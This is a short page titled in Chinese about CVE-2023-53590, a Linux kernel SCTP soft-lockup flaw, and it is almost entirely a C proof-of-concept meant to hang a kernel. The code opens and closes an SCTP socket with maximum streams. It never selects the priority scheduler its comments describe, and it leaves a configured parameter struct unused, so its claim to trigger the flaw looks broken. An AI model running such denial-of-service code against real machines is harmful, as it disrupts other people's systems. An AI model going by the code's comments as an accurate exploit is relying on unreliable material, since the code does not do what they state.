CVE-2023-53590 Linux内核SCTP模块嵌套循环导致软死锁漏洞

// PoC: Trigger soft lockup via SCTP stream priority nested loop // This PoC demonstrates the vulnerability by creating an SCTP association // with a large number of streams and priorities, then triggering stream free. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/sctp.h> #define MAX_STREAMS 65535 #define NUM_PRIORITIES 65535 int main() { int sock; struct sctp_initmsg initmsg; struct sctp_paddrparams paddrparams; struct sockaddr_in addr; // Create SCTP socket sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); if (sock < 0) { perror("socket creation failed"); return -1; } // Initialize with maximum number of streams (OS limit) memset(&initmsg, 0, sizeof(initmsg)); initmsg.sinit_num_ostreams = MAX_STREAMS; initmsg.sinit_max_instreams = MAX_STREAMS; initmsg.sinit_max_attempts = 1; if (setsockopt(sock, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg)) < 0) { perror("setsockopt SCTP_INITMSG failed"); close(sock); return -1; } // Configure SCTP scheduler to use priority-based scheduling // This will trigger the vulnerable code path memset(&paddrparams, 0, sizeof(paddrparams)); paddrparams.spp_flags = SPP_PMTUD_DISABLE; // Bind to local address memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_port = htons(0); if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind failed"); close(sock); return -1; } printf("SCTP socket created with %d streams\n", MAX_STREAMS); printf("Triggering stream priority operations to cause nested loop...\n"); // Close the socket to trigger sctp_stream_free -> sctp_sched_prio_free_sid // This will cause the nested loop and soft lockup close(sock); printf("Socket closed. Check kernel logs for soft lockup.\n"); return 0; }